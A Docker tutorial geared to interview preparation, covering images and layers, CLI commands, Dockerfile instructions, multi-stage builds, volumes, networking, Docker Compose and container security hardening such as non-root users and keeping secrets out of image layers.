One immutable image produces many independent containers, each adding its own ephemeral writable layer on top.

The Docker Engine Model

"Docker" is actually several pieces working together. Understanding this chain is valuable in interviews.

The flow is: CLI Client → (REST API) → Docker Daemon (dockerd) → (pull/push) → Registry (Docker Hub / ECR)

CLI Client — the docker command you type. It is a thin client that sends requests to the daemon over a REST API (Unix socket). It does no container work itself.
Docker Daemon (dockerd) — the background service that does the real work: building images, managing containers, networks, and volumes. It delegates container execution to containerd/runc.
Images — read-only templates stored locally by the daemon. If a requested image is absent, the daemon pulls it from the registry. Each image is a stack of layers.
Containers — running instances the daemon creates from images by adding a writable layer, then launching the process via containerd → runc with kernel namespaces and cgroups.
Registry — remote image store (Docker Hub, ECR, GHCR). The daemon pulls images down when missing and pushes built images up to share.

Image Layers and the Union Filesystem

A Docker image is not one solid blob — it is built from stacked layers. Each instruction in a Dockerfile (install a package, copy files, set config) creates a new read-only layer on top of the previous one. Docker uses a union filesystem to merge these layers into a single view that the container sees as one normal filesystem.

Two big wins come from this:

Caching — if a layer hasn't changed, Docker reuses the cached version instead of rebuilding it, so builds are fast.
Sharing — if ten images all start FROM ubuntu:24.04, that base layer is stored on disk only once and shared between them.

When a container runs, Docker adds a thin writable layer on top — all runtime changes live there, and the underlying image layers stay untouched.

Layer stack for a Node app (bottom to top):

FROM node:20-alpine        ← base layer (read-only, cached)
COPY package.json ./       ← layer: package.json
RUN npm ci                 ← layer: node_modules (slow, cached when deps unchanged)
COPY . .                   ← layer: app source (changes often)
CMD ["node","server.js"]   ← metadata: start command
                           ← writable container layer (top, ephemeral)

When you change a layer, Docker must rebuild that layer and every layer above it. Layers below it stay cached. This is why dependencies go early and source goes last.

Tip: Order your Dockerfile from least-changing to most-changing. Put COPY package.json and npm install before COPY . . — that way, changing your source code doesn't bust the cached dependency layer, and rebuilds stay fast.

Registry and Docker Hub

A registry is a storage and distribution system for images — think of it as "GitHub for Docker images." Docker Hub is the default public registry, hosting official images like nginx, node, postgres, and ubuntu. You pull images down to run them and push your own images up to share them. Companies usually run private registries too (AWS ECR, GitHub Container Registry, Harbor) for internal images.

Note: When you run docker pull nginx, Docker contacts Docker Hub, finds the official nginx image, and downloads it layer by layer. Each layer is pulled separately — and any layers already present from a previous pull are skipped. That is the layer-sharing system saving bandwidth and disk in real time.

docker run nginx
# CLI (client) ── REST API ──> dockerd (daemon)
#                                 │
#                  pulls image from registry if missing
#                                 │
#                              containerd ──> runc ──> container process

Tip: "Walk me through what happens when you run docker run nginx." Strong answer: (1) the CLI sends the request to the Docker daemon via the API; (2) the daemon checks for the nginx image locally; (3) if missing, it pulls the image layers from the registry; (4) it creates a new container by stacking a writable layer on the image; (5) it hands off to containerd/runc, which sets up namespaces and cgroups; (6) the container's main process starts. Mentioning the client–daemon split and containerd/runc shows real depth.

Essential Docker CLI

These are the commands you will type every single day. Each one below has a real example and a clear use case.

Container lifecycle: Created → Running → Stopped → Removed, driven by docker create → docker start/run → docker stop → docker rm.

docker run — create and start a container

The workhorse. Key flags: -d (detached/background), -p host:container (publish a port), --name (friendly name), -it (interactive terminal), --rm (auto-delete on exit), -e (environment variable), -v (mount a volume).

docker run -d -p 8080:80 --name web nginx

Run nginx in the background, mapping host port 8080 to container port 80. Open http://localhost:8080 to see it.

docker run -it --rm ubuntu:24.04 bash

Get an interactive shell inside a throwaway Ubuntu container that auto-deletes the moment you exit — perfect for quick experiments.

docker run -d --name db -e POSTGRES_PASSWORD=secret -v pgdata:/var/lib/postgresql/data -p 5432:5432 postgres:16

Run Postgres with an env var for the password and a named volume pgdata so your database survives even after the container is removed.

docker ps — list containers

docker ps
docker ps -a

docker ps shows only running containers; docker ps -a shows all containers including stopped/exited ones — essential for debugging why something died.

docker images — list local images

docker images

See every image stored locally, with its repository, tag, image ID, and size.

docker pull — download an image

docker pull node:20-alpine

Grab a specific image from the registry ahead of time, so the first docker run doesn't have to wait on the download.

docker exec — run a command in a running container

docker exec -it web bash

Jump inside a running container to inspect files, check config, or debug live. -it gives you an interactive shell. (If the image lacks bash, use sh.)

docker logs — view container output

docker logs -f web

Stream the logs (stdout/stderr) of the web container live with -f (follow) — your go-to for watching what an app is doing in real time.

docker stop / start — control lifecycle

docker stop web
docker start web

Gracefully stop a running container (it gets a chance to shut down cleanly) and later start it back up without recreating it.

docker rm / rmi — remove containers and images

docker rm web
docker rmi nginx

docker rm deletes a stopped container; docker rmi deletes an image you no longer need to reclaim disk space.

docker build — build an image from a Dockerfile

docker build -t myapp:1.0 .

Build an image named myapp tagged 1.0 from the Dockerfile in the current directory (the . is the build context).

docker tag — give an image another name/tag

docker tag myapp:1.0 pushkar/myapp:1.0

Re-tag your local image with your Docker Hub username (and/or registry) so it's ready to push to the right repository.

docker push — upload an image to a registry

docker login
docker push pushkar/myapp:1.0

After docker login, push your tagged image to Docker Hub so teammates or your servers can pull and run it.

Quick Reference

Command	What it does	Most-used form
run	Create + start a container	`docker run -d -p 8080:80 --name web nginx`
ps	List containers	`docker ps -a`
images	List local images	`docker images`
pull	Download an image	`docker pull node:20-alpine`
exec	Run a command in a live container	`docker exec -it web bash`
logs	View container output	`docker logs -f web`
stop / start	Control a container's lifecycle	`docker stop web`
rm / rmi	Remove container / image	`docker rm web` · `docker rmi nginx`
build	Build image from Dockerfile	`docker build -t myapp:1.0 .`
tag	Re-name/tag an image	`docker tag myapp:1.0 pushkar/myapp:1.0`
push	Upload image to registry	`docker push pushkar/myapp:1.0`

Tip: docker run is really three steps in one: pull (if the image isn't local) + create (build the container from the image) + start (launch its main process). docker create + docker start do separately what run does together.

Caution: docker rm -f kills and removes a running container with no graceful shutdown — fine for test junk, dangerous for anything with unsaved state. docker system prune -a deletes all stopped containers, unused networks, and all images not currently in use. Read what it's about to delete before you confirm.

Tip: A classic gotcha: "What's the difference between docker stop and docker kill?" — stop sends SIGTERM first (graceful, with a grace period) then SIGKILL; kill sends SIGKILL immediately. Another favourite: "Difference between EXPOSE in a Dockerfile and -p at runtime?" — EXPOSE only documents the port; -p actually publishes it to the host.

Dockerfile Deep-Dive

A Dockerfile is a recipe. Each line is one instruction that tells Docker how to assemble your image, layer by layer. Think of it like your build pipeline written as plain text: install the runtime, copy your code, install deps, define how the app starts.

Note: A Dockerfile is a recipe card and the image is the prepped meal kit. The container is when you actually cook and eat it. You can build the kit once and cook it on a thousand machines, and it tastes identical every time.

FROM — the base layer

Every Dockerfile starts with FROM. It sets the base image you build on top of. Pin a specific version tag; never rely on latest in production because it silently changes under you.

FROM node:20-alpine

node:20 is the version and -alpine is the variant (a tiny Linux distro, ~5 MB base).

RUN — execute commands at build time

RUN runs a command while building the image and bakes the result into a new layer. Use it to install packages, create directories, or run build steps. Each RUN creates a layer, so chain related commands with && to keep layer count down.

RUN apk add --no-cache python3 make g++ \
 && npm install -g some-cli

COPY — bring files into the image

COPY copies files/folders from your build context (your project directory) into the image. This is how your source code gets in.

COPY package.json package-lock.json ./
COPY . .

ADD — COPY's older, fancier cousin

ADD does everything COPY does, plus two extras: it can fetch a remote URL, and it auto-extracts local tar archives. Those extras make it less predictable, so the rule of thumb is: use COPY unless you specifically need ADD's tar extraction.

Behaviour	COPY	ADD
Copy local files/dirs	Yes	Yes
Auto-extract local `.tar`	No	Yes
Download from URL	No	Yes (discouraged)
Predictable / explicit	Yes	No (magic behaviour)
Recommended default	Use this	Only for tar extraction

WORKDIR — set the working directory

WORKDIR sets the current directory for every following instruction (RUN, CMD, COPY, etc.) and creates it if it doesn't exist. Always use it instead of RUN cd /app — cd doesn't persist across layers.

WORKDIR /app

CMD vs ENTRYPOINT — how the container starts

Interview scenario: "What's the difference between CMD and ENTRYPOINT?" This is a guaranteed question.

Both define what runs when the container starts, but they play different roles:

ENTRYPOINT is the fixed command — the thing this container is. It needs --entrypoint to override at runtime.
CMD provides default arguments (or a default command) that are easily overridden at docker run time. When both are present, CMD's values are appended as arguments to ENTRYPOINT.

Exec form vs shell form:

Exec form (JSON array): CMD ["node", "server.js"] — runs the binary directly, no shell. This is the correct form: signals like SIGTERM reach your process so it can shut down cleanly.
Shell form: CMD node server.js — wraps the command in /bin/sh -c. The shell becomes PID 1 and may swallow signals, so your app doesn't get the stop signal. Avoid for the main process.

# They combine: final command = ENTRYPOINT + CMD
ENTRYPOINT ["node"]
CMD ["server.js"]
# docker run myimg            -> node server.js
# docker run myimg other.js   -> node other.js   (CMD overridden)

Aspect	CMD	ENTRYPOINT
Purpose	Default command / args	Fixed executable
Overridable at `docker run`	Yes — just pass new args	No (needs `--entrypoint` flag)
When both exist	Becomes arguments to ENTRYPOINT	Stays as the executable
Typical use	App that users may re-run with different args	Wrapper / tool where the binary is fixed
Can appear multiple times	Only last one wins	Only last one wins

ENTRYPOINT locks in the executable; CMD provides the default arguments that a caller can replace without touching the entrypoint.

EXPOSE — document the port

EXPOSE documents which port the container listens on. It does not publish the port — it is metadata for humans and tools. You still need docker run -p 3000:3000 to actually map it to the host.

EXPOSE 3000

ENV vs ARG — variables

ENV sets environment variables that persist inside the running container (your app can read them). ARG sets build-time variables that exist only during the build and are gone at runtime.

ARG NODE_VERSION=20
ENV NODE_ENV=production
# Pass ARG at build: docker build --build-arg NODE_VERSION=20 .

Aspect	ARG	ENV
Available during build	Yes	Yes
Available in running container	No	Yes
Set from CLI	`--build-arg`	`-e` at run / Dockerfile
Good for	Versions, build flags	App config, NODE_ENV, ports
Visible in image history	Yes (don't put secrets)	Yes (don't put secrets)

Layer caching — why instruction order matters

Every instruction creates a cached layer. On rebuild, Docker reuses a layer if nothing it depends on changed. The moment one layer is invalidated, every layer after it is rebuilt too. The classic Node mistake is copying everything first and then installing dependencies — every source change forces npm install to re-run.

# GOOD: deps cached separately from source
COPY package.json package-lock.json ./
RUN npm ci
COPY . .          # changes often, but npm ci layer stays cached

Put rarely-changing things (dependencies) early, frequently-changing things (source code) late.

A realistic Node app Dockerfile

FROM node:20-alpine

# 1. Set the working directory
WORKDIR /app

# 2. Copy only manifests first (cache-friendly)
COPY package.json package-lock.json ./

# 3. Install exact, reproducible deps
RUN npm ci

# 4. Now copy the rest of the source
COPY . .

# 5. Build the app (e.g. React / Vite / Next build)
RUN npm run build

# 6. Runtime config
ENV NODE_ENV=production
EXPOSE 3000

# 7. Fixed binary + default arg
ENTRYPOINT ["node"]
CMD ["dist/server.js"]

Tip: Answer CMD vs ENTRYPOINT crisply: ENTRYPOINT is the fixed executable; CMD supplies default arguments the user can override at docker run. If both are set, CMD is appended to ENTRYPOINT. Mention that exec form (["node","app.js"]) is preferred so SIGTERM reaches your process for graceful shutdown. That last detail signals real experience.

Caution: Cache invalidation cascades. If you COPY . . before RUN npm ci, then changing any source file busts the cache for the install layer and everything after — your dependencies reinstall on every build. Order from least-changing to most-changing.

Tip: Use npm ci instead of npm install in Dockerfiles. It installs exactly what's in package-lock.json, fails if the lockfile is out of sync, and is faster and fully reproducible — exactly what you want for deterministic image builds.

Multi-Stage Builds and Image Optimization

A naive image bundles your entire build toolchain — compilers, dev dependencies, source code — into the thing you ship to production. That is bloated and insecure. Multi-stage builds let you build in one stage and copy only the finished artifact into a clean, tiny final stage.

Why image size matters in interviews:

Security: fewer packages = smaller attack surface. No compiler, no shell utilities, no dev deps for an attacker to exploit.
Speed: smaller images pull and start faster — faster deploys, faster autoscaling, faster CI.
Cost: less registry storage, less bandwidth, less disk on every node. At scale this is real money.

Note: Shipping a single-stage image is like mailing someone a cake along with the entire kitchen — oven, mixer, flour bags and all. Multi-stage builds bake the cake in the kitchen, then ship only the cake in a small box.

Multi-stage Dockerfile: React app served by nginx

Build the static bundle with Node, then throw away Node entirely and serve the files with a tiny nginx image.

# ---- Stage 1: build ----
FROM node:20-alpine AS build
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci
COPY . .
RUN npm run build          # produces /app/dist (or /app/build)

# ---- Stage 2: serve ----
FROM nginx:1.27-alpine
COPY --from=build /app/dist /usr/share/nginx/html
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

The final image contains nginx and your static files only — no Node, no node_modules, no source. Typically tens of MB instead of hundreds.

Multi-stage Dockerfile: Go binary on distroless

Go compiles to a single static binary, so the final stage needs almost nothing — perfect for distroless.

# ---- Stage 1: build ----
FROM golang:1.22-alpine AS build
WORKDIR /src
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 go build -o /app/server .

# ---- Stage 2: minimal runtime ----
FROM gcr.io/distroless/static-debian12
COPY --from=build /app/server /server
EXPOSE 8080
ENTRYPOINT ["/server"]

The result is often under 10 MB: just your binary plus minimal certs. No shell, no package manager — nothing for an attacker to pivot into.

Optimization techniques

Small base images: prefer -alpine, -slim, or distroless over full ubuntu/debian.
Multi-stage builds: ship only the artifact, not the toolchain.
Combine RUN layers: chain with && and clean up in the same layer so the cleanup actually shrinks the image.
.dockerignore: keep node_modules, .git, logs out of the build context — faster builds and no accidental bloat.
Order instructions: least-changing first for cache hits.
Remove build deps: uninstall compilers in the same RUN, or just leave them in the discarded build stage.
--no-install-recommends: on Debian/Ubuntu, skip optional suggested packages.

# Debian/Ubuntu: clean up in the SAME layer
RUN apt-get update \
 && apt-get install -y --no-install-recommends curl ca-certificates \
 && rm -rf /var/lib/apt/lists/*

A typical .dockerignore:

node_modules
.git
dist
build
*.log
.env
Dockerfile
.dockerignore

Base image sizes

Base image	Approx size	Has shell / pkg manager?	Best for
`ubuntu`	~75 MB	Yes	Dev convenience, lots of tooling
`debian:slim`	~30 MB	Yes	Balanced general-purpose runtime
`alpine`	~5 MB	Yes (busybox + apk)	Small images, most languages
`distroless`	~2–20 MB	No	Most secure production runtime

Note: Alpine is small but can cause issues with native modules due to musl libc. In those cases a -slim variant or a proper multi-stage build is a better fit.

Before / after: the real win

$ docker images
REPOSITORY      TAG          SIZE
myapp           single       1.1GB     # node + source + node_modules
myapp           multistage   42MB      # nginx + static build only

Tip: Distroless images contain your app and its runtime — and literally nothing else. No shell, no apt, no ls. That kills a whole class of attacks. The trade-off: you can't docker exec in to poke around, so debug locally or use the :debug variant. For compiled languages (Go, Rust) and even Java/Python, distroless is the gold-standard production base.

Tip: "How would you reduce a Docker image's size?" Hit these in order: multi-stage build (biggest win), smaller base image (alpine/slim/distroless), .dockerignore, combine and clean up RUN layers in the same instruction, and remove dev/build dependencies from the final stage. Bonus: mention the security angle — smaller image = smaller attack surface.

Note: A team shipped a React app as a single-stage Node image at 1.1 GB. Pulls on every deploy took minutes and autoscaling lagged. Switching to a multi-stage build (Node to build, nginx-alpine to serve) dropped it to ~42 MB — a 25x reduction. Deploys went from minutes to seconds.

Data: Volumes vs Bind Mounts

Containers are ephemeral. The writable layer lives and dies with the container — docker rm the container and that data is gone forever. That is fine for a stateless frontend, but a disaster for a database. To persist data, or to share files between your host and a container, you mount storage from outside the container's lifecycle.

Note: A container's own filesystem is like a hotel room — when you check out, housekeeping wipes everything. A volume is your bank locker: it stays safe no matter how many times you check in and out. A bind mount is like leaving a door open straight into your house — convenient, but the container can now mess with your real stuff.

Visual model:

Named volume — container writes to /var/lib/... → Docker-managed storage at /var/lib/docker/volumes/pgdata. Portable, survives container removal, best for DB data.
Bind mount — container writes to /app → a specific host folder you pick (e.g. /home/user/project). Best for live dev where you want host edits visible instantly.

The three mount types

Named volume: Docker-managed storage living under /var/lib/docker/volumes/. Docker owns it; you reference it by name. Best for persistent app data like databases.
Bind mount: maps a specific host path straight into the container. You control the exact location. Best for local development (live code).
tmpfs: stored in host RAM only, never written to disk. Vanishes on stop. Best for secrets or scratch data you never want persisted.

Aspect	Named volume	Bind mount	tmpfs
Location	`/var/lib/docker/volumes/`	Any host path you pick	Host RAM
Managed by	Docker	You	Docker (memory)
Use case	DB / persistent data	Live dev, config files	Secrets, scratch
Portability	High (Docker-native)	Low (host-path dependent)	N/A (ephemeral)
Performance on Mac/Win	Fast (in VM)	Slower (host↔VM sync)	Fast (RAM)
Survives container rm	Yes	Yes (it's on host)	No

Named volumes are Docker-managed and portable (best for production data); bind mounts expose a specific host directory (best for local development).

Note: On Mac/Windows, Docker runs inside a Linux VM, so bind mounts involve syncing between host and VM on every file change — hence the slowdown. Named volumes live entirely inside the VM and are therefore fast.

Managing named volumes

docker volume create pgdata          # create
docker volume ls                     # list
docker volume inspect pgdata         # see mountpoint, driver
docker volume rm pgdata              # delete
docker volume prune                  # remove all unused volumes

Two mount syntaxes: -v vs --mount

The short -v form is compact; the verbose --mount form is explicit and self-documenting (preferred in scripts).

# -v form: source:target[:options]
docker run -v pgdata:/var/lib/postgresql/data postgres:16

# --mount form: explicit key=value
docker run --mount type=volume,source=pgdata,target=/var/lib/postgresql/data postgres:16

Bind mount for live development (hot reload)

Mount your source code into the container so changes on your host instantly reflect inside — the dev server hot-reloads as you edit.

docker run -it --rm \
  -p 5173:5173 \
  -v "$(pwd)":/app \
  -v /app/node_modules \
  -w /app \
  node:20-alpine npm run dev

The second -v /app/node_modules is an anonymous volume that shields the container's installed node_modules from being clobbered by the host bind mount — a very common gotcha.

Named volume for Postgres data

docker run -d \
  --name pg \
  -e POSTGRES_PASSWORD=secret \
  -v pgdata:/var/lib/postgresql/data \
  postgres:16

docker rm -f pg destroys the container but pgdata survives. Start a new Postgres container against the same volume and all your tables are still there.

When to use which

Named volume → production data that must persist: databases, uploads, caches.
Bind mount → local dev where you want host edits live in the container, or injecting a config file.
tmpfs → sensitive or throwaway data that should never touch disk.

Caution: A bind mount overlays the target directory — it hides whatever the image had there. If you bind-mount your source over /app and the image baked node_modules into /app/node_modules, your mount hides them and the app breaks (hence the anonymous-volume trick above). Also watch file permissions: a process running as a non-root UID inside the container may not be able to write to a host directory owned by a different user.

Tip: "Where does a named volume's data actually live?" Answer: on the Docker host under /var/lib/docker/volumes/<name>/_data, managed by Docker — not inside the container. On Mac/Windows it's inside the Docker Desktop Linux VM, which is why you can't cd to it from your Mac terminal. Knowing this distinction (host vs container vs VM) shows you actually understand the storage model.

Docker Networking

Every container needs to talk to something — the host, the internet, or another container. Docker handles this through network drivers. When you install Docker on Ubuntu 24.04, three networks already exist out of the box: bridge, host, and none.

Note: Think of a Docker network like the wiring in an apartment building. bridge is the building's internal intercom — flats can call each other through a switchboard, and the building has one main door (the host) to the outside world. host means the flat has no walls at all and shares the building's street address directly. none is a sealed room — no phone, no door, total isolation.

Container-to-container on a user-defined bridge: On a user-defined network, Docker's embedded DNS lets containers reach each other by name. Only the API container needs a published port (-p 3000:3000) so the browser can reach it. The db and cache containers are never published to the host — secure by default.

The three default networks

Driver	Isolation	Use Case	Performance	Port Mapping
bridge (default)	Containers get private IPs on a virtual subnet; isolated from host network namespace.	The normal default for single-host apps.	Slight overhead from NAT + virtual bridge, negligible for most workloads.	Required. You must `-p` to reach a container from outside.
host	None. Container shares the host's network namespace directly.	Max network performance, or when you need the container on the host's real IP.	Fastest — no NAT, no bridge, no virtual layer.	Ignored. `-p` does nothing; the container binds host ports directly.
none	Total. Only a loopback interface; no external connectivity.	Security-sensitive batch jobs, or you wire up custom networking yourself.	N/A — no traffic flows.	N/A — nothing to publish.

Port mapping deep dive

A container on a bridge network lives on a private subnet (commonly 172.17.0.0/16). The flag -p hostPort:containerPort tells Docker to take traffic arriving on that host port and forward it (via iptables DNAT rules) into the container's port. Read it as outside:inside — the left number is what you type in the browser; the right number is what the app listens on inside the container.

# Map host port 8080 -> container port 80
docker run -d -p 8080:80 --name web nginx

# Now the host can reach the container:
curl http://localhost:8080

# Map only on loopback (NOT exposed to the LAN):
docker run -d -p 127.0.0.1:8080:80 --name web-local nginx

# Let Docker pick a random free host port:
docker run -d -p 80 --name web-rand nginx
docker port web-rand   # shows which host port was assigned

Container-to-container communication — the key part

Interview scenario: "Why can't my two containers talk by name?"

On the default bridge network, containers can reach each other by IP address, but there is no automatic DNS — you cannot ping or curl another container by its name. On a user-defined bridge network, Docker runs an embedded DNS server and containers resolve each other by container name automatically.

This is the root cause of 90% of "my app can't connect to my db" bugs.

Tip: Almost never use the default bridge for multi-container apps. Always docker network create a user-defined bridge (or let Docker Compose make one for you — it does this automatically). You get free DNS by container name, better isolation, and you can attach/detach containers on the fly.

# 1. Create a user-defined bridge network
docker network create appnet

# List networks (you'll see appnet alongside bridge/host/none)
docker network ls

# Inspect it: subnet, gateway, connected containers
docker network inspect appnet

# 2. Run a db container ON that network
docker run -d --name db --network appnet \
  -e POSTGRES_PASSWORD=secret postgres:16

# 3. Run a client container on the SAME network
docker run -it --rm --name client --network appnet alpine sh

# Inside the client shell — resolve 'db' by NAME, no IP needed:
#   apk add --no-cache curl
#   ping db
#   nc -zv db 5432          # TCP connect to postgres by name

# Attach an already-running container to a network later:
docker network connect appnet web

Tip: "bridge vs host?" — bridge isolates the container on its own subnet and needs -p port publishing + NAT to be reached; host removes that isolation, the container uses the host's network stack directly (no -p, fastest, but port conflicts and less isolation). "Why can't my two containers talk by name on the default bridge?" — because the default bridge has no embedded DNS; name resolution only works on user-defined networks. Fix: create a user-defined bridge and run both containers on it (or use Compose).

Caution: When you write -p 8080:80, Docker binds 0.0.0.0:8080 by default — meaning the port is exposed on every network interface, including your public/LAN IP, not just localhost. On a cloud VM with a public IP, that database or admin panel is now reachable from the internet. Bind to 127.0.0.1 (e.g. -p 127.0.0.1:8080:80) for local-only access. Docker's iptables rules can also bypass a UFW firewall — don't assume UFW alone protects published ports.

Docker Compose

Running one container with a long docker run command is fine. But a real app is a web frontend + an API + a database + a cache, each needing its own ports, volumes, env vars, and a shared network. Typing four docker run commands in the right order, every time, is painful and error-prone. Docker Compose solves this: you declare your entire multi-container stack in one YAML file and bring it all up with a single command. Use this with the Docker run → Compose converter to translate existing docker run commands into Compose services quickly.

Note: If docker run is cooking one dish, Compose is the full recipe card for a thali — it lists every dish (service), the ingredients (image, env, volumes), and the order to serve them (depends_on). One command and the whole meal arrives, plated the same way every single time.

Compose stack layout: A single docker compose up creates the network, the volume, and all three services. The api service builds from a local Dockerfile; db uses a named volume for persistence; all three are wired by service name via Compose's built-in DNS.

"docker compose" vs "docker-compose"

Old Compose was a separate Python tool invoked as docker-compose (with a hyphen). Modern Compose is a v2 plugin built into the Docker CLI, invoked as docker compose (a space, no hyphen). On Ubuntu 24.04 with current Docker, use docker compose. The hyphenated command is legacy and deprecated. Also note: the top-level version: key is now obsolete and can be omitted.

Anatomy of a Compose file

Key	What it does
`image`	Pull a prebuilt image (e.g. `postgres:16`).
`build`	Build from a local Dockerfile instead of pulling.
`ports`	Publish ports to the host — `"host:container"`.
`volumes`	Mount named volumes or host paths for persistent data.
`environment`	Set env vars inside the container.
`depends_on`	Control start order (and optionally wait for health).
`networks`	Attach the service to one or more networks.
`healthcheck`	Define how Docker tests if the service is actually ready.

A full, realistic compose.yaml

A Node API built from a local Dockerfile, a Postgres database with a named volume, and a Redis cache — all on a shared network. The API waits for Postgres to be healthy, not just started.

services:
  api:
    build: ./api                 # builds from ./api/Dockerfile
    ports:
      - "3000:3000"
    environment:
      DB_HOST: db                # resolves by service name (Compose DNS)
      DB_PORT: 5432
      DB_USER: appuser
      DB_PASSWORD: ${DB_PASSWORD}    # pulled from .env file
      REDIS_URL: redis://cache:6379
    depends_on:
      db:
        condition: service_healthy   # wait until db healthcheck passes
      cache:
        condition: service_started
    networks:
      - appnet
    restart: unless-stopped

  db:
    image: postgres:16
    environment:
      POSTGRES_USER: appuser
      POSTGRES_PASSWORD: ${DB_PASSWORD}
      POSTGRES_DB: appdb
    volumes:
      - pgdata:/var/lib/postgresql/data   # named volume = data survives restarts
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U appuser -d appdb"]
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 10s
    networks:
      - appnet
    restart: unless-stopped

  cache:
    image: redis:7-alpine
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 10s
      timeout: 3s
      retries: 5
    networks:
      - appnet
    restart: unless-stopped

volumes:
  pgdata:                        # Docker-managed named volume

networks:
  appnet:                        # user-defined bridge -> DNS by service name

Because every service is on appnet, the API reaches the database at hostname db and Redis at cache — the service names are the hostnames, thanks to Compose's user-defined network (exactly the DNS behaviour covered in the networking section).

Key commands

docker compose up -d          # build (if needed) + start all, detached
docker compose ps             # list services in this project + their state
docker compose logs -f        # tail combined logs from all services
docker compose logs -f api    # tail just one service
docker compose build          # (re)build images that use 'build:'
docker compose exec api sh    # open a shell inside the running api container
docker compose down           # stop + remove containers and the network
docker compose down -v        # ALSO delete named volumes (wipes db data!)

depends_on vs healthcheck — the trap

Interview scenario: "Does depends_on wait for a service to be ready?"

A plain depends_on: [db] only controls start order. Compose will start db before api — but "started" just means the container process launched, not that Postgres is accepting connections. Databases take a few seconds to initialise, so your API can crash on boot trying to connect to a not-yet-ready DB.

For readiness, add a healthcheck to the dependency service and use condition: service_healthy in the dependent service — only then does Compose wait.

Tip: Keep secrets and environment-specific values out of the compose file. Put them in a .env file (auto-loaded by Compose for ${VAR} substitution) and add .env to .gitignore. For per-environment tweaks, use a compose.override.yaml (auto-merged in dev) or docker compose -f compose.yaml -f compose.prod.yaml up to layer a production config on top. Use the .env Example Checker to validate that your .env.example stays in sync with your actual .env keys.

Note: A new dev joining a team, instead of working through a half-day setup doc, can clone the repo, copy .env.example to .env, and run docker compose up -d. Sixty seconds later the API, database, and cache are running and wired together identically to every other machine — including CI.

Tip: Expect: "What does Compose actually do for you?" — declarative multi-container orchestration on a single host: networks, volumes, env, and start order in one file. Be ready for "Does depends_on wait for the service to be ready?" — No, only start order; for readiness add a healthcheck + condition: service_healthy. Note the scope: Compose is single-host; for multi-host/cluster orchestration you move to Kubernetes — see Kubernetes for DevOps for a full introduction. See also the Kubernetes Resource Calculator when you are ready to plan resource requests for a containerised workload running in a cluster. Mentioning this boundary shows you understand where Compose stops.

Caution: docker compose down -v deletes named volumes — that pgdata volume holding your database goes with it. Great for a clean dev reset, catastrophic on anything you care about. Plain docker compose down (no -v) keeps volumes. Build the muscle memory now, before you run it on the wrong project.

Best Practices and Security

A container that works and a container that is production-ready are different things. This section is the checklist that separates "it runs on my machine" from "it's safe to ship." Most of it shows up in DevOps interviews too — security questions are nearly guaranteed.

Run as non-root

By default, processes in a container run as root (UID 0). If an attacker breaks out of the app, they are root inside the container — and a container root maps to host root in several breakout scenarios. The fix is the USER instruction: create an unprivileged user and switch to it before the app runs. This is the single highest-impact security change you can make.

FROM node:20-slim

WORKDIR /app

# Install deps as root (needs write to /app)
COPY package*.json ./
RUN npm ci --omit=dev

COPY . .

# Create a non-root user and hand over ownership
RUN useradd --system --uid 10001 --no-create-home appuser \
 && chown -R appuser:appuser /app

# Everything from here runs as appuser, not root
USER appuser

EXPOSE 3000
CMD ["node", "server.js"]

.dockerignore

Just like .gitignore, a .dockerignore file tells the build to skip files when sending the build context to the daemon. This makes builds faster, images smaller, and — critically — stops secrets and junk from being copied in by a broad COPY . ..

# .dockerignore
node_modules
npm-debug.log
.git
.gitignore
.env
.env.*
*.md
Dockerfile
.dockerignore
dist
coverage
.vscode
.DS_Store

Excluding node_modules forces a clean npm ci inside the image (no host-OS native modules leaking in), and excluding .env / .git prevents secrets and history from ever entering the image.

Don't bake secrets into images

Interview scenario: "How do you handle secrets in Docker?"

Anything you put in an ENV instruction or pass as a build ARG is baked into an image layer — and image layers are readable by anyone with the image. docker history dumps them right out.

# An attacker (or teammate) with your image can read baked-in values:
docker history --no-trunc your-image:tag

# WRONG — secret is now permanently in a layer:
#   ENV API_KEY=sk_live_abcd1234
#   ARG DB_PASSWORD   (visible in history even if "removed" later)

Instead, inject secrets at runtime, never at build time:

# Runtime env (not in the image, but visible via 'docker inspect'):
docker run -e API_KEY="$API_KEY" myapp

# Better: file-based secrets (Compose/Swarm) mounted at /run/secrets/...
# Best: an external secrets manager (Vault, AWS Secrets Manager,
#       SSM Parameter Store) fetched by the app at startup.

Image scanning

Your base image and dependencies carry known vulnerabilities (CVEs). Scan before you ship, and re-scan regularly — new CVEs are disclosed against old images all the time.

# Docker Scout (built into modern Docker Desktop / CLI)
docker scout cves your-image:tag
docker scout quickview your-image:tag

# Trivy (popular open-source scanner) on Ubuntu 24.04
trivy image your-image:tag
trivy image --severity HIGH,CRITICAL your-image:tag

Hardening checklist

Do	Don't
Pin base images by version and digest: `node:20-slim@sha256:…`	Use `:latest` — it silently changes under you.
Use minimal images (`-slim`, `alpine`, `distroless`) — smaller attack surface.	Ship a full `ubuntu` base with compilers and shells you don't need.
Run as a non-root `USER`.	Run the app as root.
Drop Linux capabilities: `--cap-drop ALL`, add back only what's needed.	Run with default (or `--privileged`) capabilities.
Run read-only where possible: `--read-only` + `--tmpfs /tmp`.	Leave the whole filesystem writable.
Add a `HEALTHCHECK` so orchestrators know real readiness.	Assume "process running" means "service healthy."
Inject secrets at runtime via env files / secrets managers.	Bake secrets into `ENV`/`ARG` layers.
Use multi-stage builds to keep build tools out of the final image.	Ship the entire build toolchain in production.

# Least-privilege runtime: drop all caps, read-only root fs, writable /tmp
docker run -d \
  --cap-drop ALL \
  --read-only \
  --tmpfs /tmp \
  --name myapp myapp:1.0

HEALTHCHECK --interval=30s --timeout=3s --start-period=10s --retries=3 \
  CMD curl -f http://localhost:3000/health || exit 1

Caution: Secrets in image layers are permanent and readable by anyone with the image. Deleting the ENV line in a later layer does NOT remove it — the earlier layer still contains it, and docker history --no-trunc reveals it. If you ever accidentally bake a real credential into an image and push it, treat that credential as compromised: rotate it immediately. You can't "edit it out" of a published image.

